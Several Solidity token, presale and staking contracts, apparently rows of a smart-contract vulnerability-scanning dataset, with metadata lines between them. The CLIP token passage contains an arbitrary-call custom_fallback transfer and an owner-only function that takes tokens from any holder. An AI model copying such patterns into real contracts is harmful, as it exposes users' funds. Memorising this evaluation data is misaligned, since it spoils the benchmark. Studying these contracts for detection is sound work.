function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
function totalSupply() public view returns (uint256 _supply);
function balanceOf(address who) public view returns (uint);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
}
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
}
}
contract CLIP is ERC223, Ownable {
using SafeMath for uint256;
string public name = "ClipToken";
string public symbol = "CLIP";
uint8 public decimals = 8;
uint256 public totalSupply = 333e8 * 1e8;
uint256 public distributeAmount = 0;
mapping (address => uint256) public balanceOf;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public unlockUnixTime;
event FrozenFunds(address indexed target, bool frozen);
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed burner, uint256 value);
function CLIP() public {
balanceOf[msg.sender] = totalSupply;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOf[_owner];
}
modifier onlyPayloadSize(uint256 size){
assert(msg.data.length >= size + 4);
_;
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if(isContract(_to)) {
if (balanceOf[msg.sender] < _value) revert();
balanceOf[msg.sender] = SafeMath.sub(balanceOf[msg.sender], _value);
balanceOf[_to] = SafeMath.add(balanceOf[_to], _value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
// assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
// retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
// function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf[msg.sender] < _value) revert();
balanceOf[msg.sender] = SafeMath.sub(balanceOf[msg.sender], _value);
balanceOf[_to] = SafeMath.add(balanceOf[_to], _value);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
//function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf[msg.sender] < _value) revert();
balanceOf[msg.sender] = SafeMath.sub(balanceOf[msg.sender], _value);
balanceOf[_to] = SafeMath.add(balanceOf[_to], _value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public {
require(targets.length > 0);
for (uint i = 0; i < targets.length; i++) {
require(targets[i] != 0x0);
frozenAccount[targets[i]] = isFrozen;
FrozenFunds(targets[i], isFrozen);
}
}
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(targets.length > 0
&& targets.length == unixTimes.length);
for(uint i = 0; i < targets.length; i++){
require(unlockUnixTime[targets[i]] < unixTimes[i]);
unlockUnixTime[targets[i]] = unixTimes[i];
LockedFunds(targets[i], unixTimes[i]);
}
}
function burn(address _from, uint256 _unitAmount) onlyOwner public {
require(_unitAmount > 0
&& balanceOf[_from] >= _unitAmount);
balanceOf[_from] = SafeMath.sub(balanceOf[_from], _unitAmount);
totalSupply = SafeMath.sub(totalSupply, _unitAmount);
Burn(_from, _unitAmount);
}
function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) {
require(amount > 0
&& addresses.length > 0
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
amount = amount.mul(1e8);
uint256 totalAmount = amount.mul(addresses.length);
require(balanceOf[msg.sender] >= totalAmount);
for (uint i = 0; i < addresses.length; i++) {
require(addresses[i] != 0x0
&& frozenAccount[addresses[i]] == false
&& now > unlockUnixTime[addresses[i]]);
balanceOf[addresses[i]] = balanceOf[addresses[i]].add(amount);
Transfer(msg.sender, addresses[i], amount);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
function distributeToken(address[] addresses, uint[] amounts) public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
uint256 totalAmount = 0;
for(uint i = 0; i < addresses.length; i++){
require(amounts[i] > 0
&& addresses[i] != 0x0
&& frozenAccount[addresses[i]] == false
&& now > unlockUnixTime[addresses[i]]);
amounts[i] = amounts[i].mul(1e8);
totalAmount = totalAmount.add(amounts[i]);
}
require(balanceOf[msg.sender] >= totalAmount);
for (i = 0; i < addresses.length; i++) {
balanceOf[addresses[i]] = balanceOf[addresses[i]].add(amounts[i]);
Transfer(msg.sender, addresses[i], amounts[i]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length);
uint256 totalAmount = 0;
for (uint i = 0; i < addresses.length; i++) {
require(amounts[i] > 0
&& addresses[i] != 0x0
&& frozenAccount[addresses[i]] == false
&& now > unlockUnixTime[addresses[i]]);
amounts[i] = SafeMath.mul(amounts[i], 1e8);
require(balanceOf[addresses[i]] >= amounts[i]);
balanceOf[addresses[i]] = SafeMath.sub(balanceOf[addresses[i]], amounts[i]);
totalAmount = SafeMath.add(totalAmount, amounts[i]);
Transfer(addresses[i], msg.sender, amounts[i]);
}
balanceOf[msg.sender] = SafeMath.add(balanceOf[msg.sender], totalAmount);
return true;
}
function setDistributeAmount(uint256 _unitAmount) onlyOwner public {
distributeAmount = _unitAmount;
}
function autoDistribute() payable public {
require(distributeAmount > 0
&& balanceOf[owner] >= distributeAmount
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
if (msg.value > 0) owner.transfer(msg.value);
balanceOf[owner] = SafeMath.sub(balanceOf[owner], distributeAmount);
balanceOf[msg.sender] = SafeMath.add(balanceOf[msg.sender], distributeAmount);
Transfer(owner, msg.sender, distributeAmount);
}
function() payable public {
autoDistribute();
}
}
| 198,066 | 10,391 |
794d42891db1b528bb46b2ae6034ace4c5ed1b38fdbc69cba82da533c3e97679
| 26,935 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.4/0xf209c9e2d743242e58bafda6dc3f59008ab8d8ed.sol
| 3,948 | 14,382 |
pragma solidity ^0.4.23;
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
// File: openzeppelin-solidity/contracts/ownership/HasNoEther.sol
contract HasNoEther is Ownable {
constructor() public payable {
require(msg.value == 0);
}
function() external {
}
function reclaimEther() external onlyOwner {
owner.transfer(this.balance);
}
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/BurnableToken.sol
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from,
address _to,
uint256 _value)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner,
address _spender)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(address _spender,
uint _addedValue)
public
returns (bool)
{
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender,
uint _subtractedValue)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: contracts/ChartToken.sol
contract ChartToken is StandardToken, BurnableToken, Ownable, HasNoEther {
string public constant name = "BetOnChart token";
string public constant symbol = "CHART";
uint8 public constant decimals = 18; // 1 ether
bool public saleFinished;
address public saleAgent;
address private wallet;
event SaleAgent(address);
constructor(address _wallet) public {
require(_wallet != address(0));
totalSupply_ = 50*1e6*(1 ether);
saleFinished = false;
balances[_wallet] = totalSupply_;
wallet = _wallet;
saleAgent = address(0);
}
modifier onlyOwnerOrSaleAgent() {
require(msg.sender == owner || msg.sender == saleAgent);
_;
}
modifier whenSaleFinished() {
require(saleFinished || msg.sender == saleAgent || msg.sender == wallet);
_;
}
modifier whenSaleNotFinished() {
require(!saleFinished);
_;
}
function setSaleAgent(address _agent) public whenSaleNotFinished onlyOwner {
saleAgent = _agent;
emit SaleAgent(_agent);
}
function finishSale() public onlyOwnerOrSaleAgent {
saleAgent = address(0);
emit SaleAgent(saleAgent);
saleFinished = true;
}
function transfer(address _to, uint256 _value) public whenSaleFinished returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenSaleFinished returns (bool) {
return super.transferFrom(_from, _to, _value);
}
}
// File: openzeppelin-solidity/contracts/crowdsale/Crowdsale.sol
contract Crowdsale {
using SafeMath for uint256;
// The token being sold
ERC20 public token;
// Address where funds are collected
address public wallet;
// How many token units a buyer gets per wei
uint256 public rate;
// Amount of wei raised
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
// -----------------------------------------
// Crowdsale external interface
// -----------------------------------------
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(msg.sender,
_beneficiary,
weiAmount,
tokens);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
// -----------------------------------------
// Internal interface (extensible)
// -----------------------------------------
function _preValidatePurchase(address _beneficiary,
uint256 _weiAmount)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(address _beneficiary,
uint256 _weiAmount)
internal
{
// optional override
}
function _deliverTokens(address _beneficiary,
uint256 _tokenAmount)
internal
{
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary,
uint256 _tokenAmount)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(address _beneficiary,
uint256 _weiAmount)
internal
{
// optional override
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
// File: contracts/lib/TimedCrowdsale.sol
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
// solium-disable-next-line security/no-block-members
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
// solium-disable-next-line security/no-block-members
return block.timestamp > closingTime;
}
function _preValidatePurchase(address _beneficiary,
uint256 _weiAmount)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
// File: contracts/lib/WhitelistedCrowdsale.sol
contract WhitelistedCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
struct Contract
{
uint256 rate; // Token rate
uint256 minInvestment; // Minimal investment
}
mapping(address => bool) public whitelist;
mapping(address => Contract) public contracts;
modifier isWhitelisted(address _beneficiary) {
require(whitelist[_beneficiary]);
_;
}
modifier isMinimalInvestment(address _beneficiary, uint256 _weiAmount) {
require(_weiAmount >= contracts[_beneficiary].minInvestment);
_;
}
function addToWhitelist(address _beneficiary, uint16 _bonus, uint256 _minInvestment) external onlyOwner {
require(_bonus <= 300);
whitelist[_beneficiary] = true;
Contract storage beneficiaryContract = contracts[_beneficiary];
beneficiaryContract.rate = rate.add(rate.mul(_bonus).div(100));
beneficiaryContract.minInvestment = _minInvestment.mul(1 ether);
}
function addManyToWhitelist(address[] _beneficiaries, uint16 _bonus, uint256 _minInvestment) external onlyOwner {
require(_bonus <= 300);
for (uint256 i = 0; i < _beneficiaries.length; i++) {
whitelist[_beneficiaries[i]] = true;
Contract storage beneficiaryContract = contracts[_beneficiaries[i]];
beneficiaryContract.rate = rate.add(rate.mul(_bonus).div(100));
beneficiaryContract.minInvestment = _minInvestment.mul(1 ether);
}
}
function removeFromWhitelist(address _beneficiary) external onlyOwner {
whitelist[_beneficiary] = false;
}
function _preValidatePurchase(address _beneficiary,
uint256 _weiAmount)
internal
isWhitelisted(_beneficiary)
isMinimalInvestment(_beneficiary, _weiAmount)
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256)
{
return _weiAmount.mul(contracts[msg.sender].rate);
}
}
// File: openzeppelin-solidity/contracts/crowdsale/emission/AllowanceCrowdsale.sol
contract AllowanceCrowdsale is Crowdsale {
using SafeMath for uint256;
address public tokenWallet;
constructor(address _tokenWallet) public {
require(_tokenWallet != address(0));
tokenWallet = _tokenWallet;
}
function remainingTokens() public view returns (uint256) {
return token.allowance(tokenWallet, this);
}
function _deliverTokens(address _beneficiary,
uint256 _tokenAmount)
internal
{
token.transferFrom(tokenWallet, _beneficiary, _tokenAmount);
}
}
// File: openzeppelin-solidity/contracts/crowdsale/validation/CappedCrowdsale.sol
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(address _beneficiary,
uint256 _weiAmount)
internal
{
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
// File: contracts/ChartPresale.sol
contract ChartPresale is WhitelistedCrowdsale, AllowanceCrowdsale, TimedCrowdsale, CappedCrowdsale {
using SafeMath for uint256;
string public constant name = "BetOnChart token presale";
constructor(uint256 _rate, address _tokenWallet, address _ethWallet, ChartToken _token, uint256 _cap, uint256 _openingTime, uint256 _closingTime) public
Crowdsale(_rate, _ethWallet, _token)
AllowanceCrowdsale(_tokenWallet)
TimedCrowdsale(_openingTime, _closingTime)
CappedCrowdsale(_cap) {}
}
| 221,914 | 10,392 |
a766ed055748bd89c3034af5f4f7207ca3c2c8d81e77206c858a6df7de75d76f
| 25,959 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/91/9168c9aac9dc1bd76a6e963094ec85c3e62899d1_SabStaking.sol
| 4,386 | 17,586 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library LowGasSafeMath {
/// @notice Returns x + y, reverts if sum overflows uint256
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
function add32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x + y) >= x);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
function sub32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x - y) <= x);
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(x == 0 || (z = x * y) / x == y);
}
/// @notice Returns x + y, reverts if overflows or underflows
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x + y) >= x == (y >= 0));
}
/// @notice Returns x - y, reverts if overflows or underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x - y) <= x == (y >= 0));
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using LowGasSafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract OwnableData {
address public owner;
address public pendingOwner;
}
contract Ownable is OwnableData {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/// @notice `owner` defaults to msg.sender on construction.
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
/// @notice Transfers ownership to `newOwner`. Either directly or claimable by the new pending owner.
/// Can only be invoked by the current `owner`.
/// @param newOwner Address of the new owner.
function transferOwnership(address newOwner,
bool direct,
bool renounce) public onlyOwner {
if (direct) {
// Checks
require(newOwner != address(0) || renounce, "Ownable: zero address");
// Effects
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
pendingOwner = address(0);
} else {
// Effects
pendingOwner = newOwner;
}
}
/// @notice Needs to be called by `pendingOwner` to claim ownership.
function claimOwnership() public {
address _pendingOwner = pendingOwner;
// Checks
require(msg.sender == _pendingOwner, "Ownable: caller != pending owner");
// Effects
emit OwnershipTransferred(owner, _pendingOwner);
owner = _pendingOwner;
pendingOwner = address(0);
}
/// @notice Only allows the `owner` to execute the function.
modifier onlyOwner() {
require(msg.sender == owner, "Ownable: caller is not the owner");
_;
}
}
interface ISSab is IERC20 {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view override returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute(uint _staked) external returns (bool);
}
contract SabStaking is Ownable {
using LowGasSafeMath for uint256;
using LowGasSafeMath for uint32;
using SafeERC20 for IERC20;
using SafeERC20 for ISSab;
IERC20 public immutable Sab;
ISSab public immutable SSab;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
IDistributor public distributor;
uint public totalBonus;
IWarmup public warmupContract;
uint public warmupPeriod;
event LogStake(address indexed recipient, uint256 amount);
event LogClaim(address indexed recipient, uint256 amount);
event LogForfeit(address indexed recipient, uint256 memoAmount, uint256 timeAmount);
event LogDepositLock(address indexed user, bool locked);
event LogUnstake(address indexed recipient, uint256 amount);
event LogRebase(uint256 distribute);
event LogSetContract(CONTRACTS contractType, address indexed _contract);
event LogWarmupPeriod(uint period);
constructor (address _Sab,
address _SSab,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Sab != address(0));
Sab = IERC20(_Sab);
require(_SSab != address(0));
SSab = ISSab(_SSab);
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
Sab.safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(SSab.gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
SSab.safeTransfer(address(warmupContract), _amount);
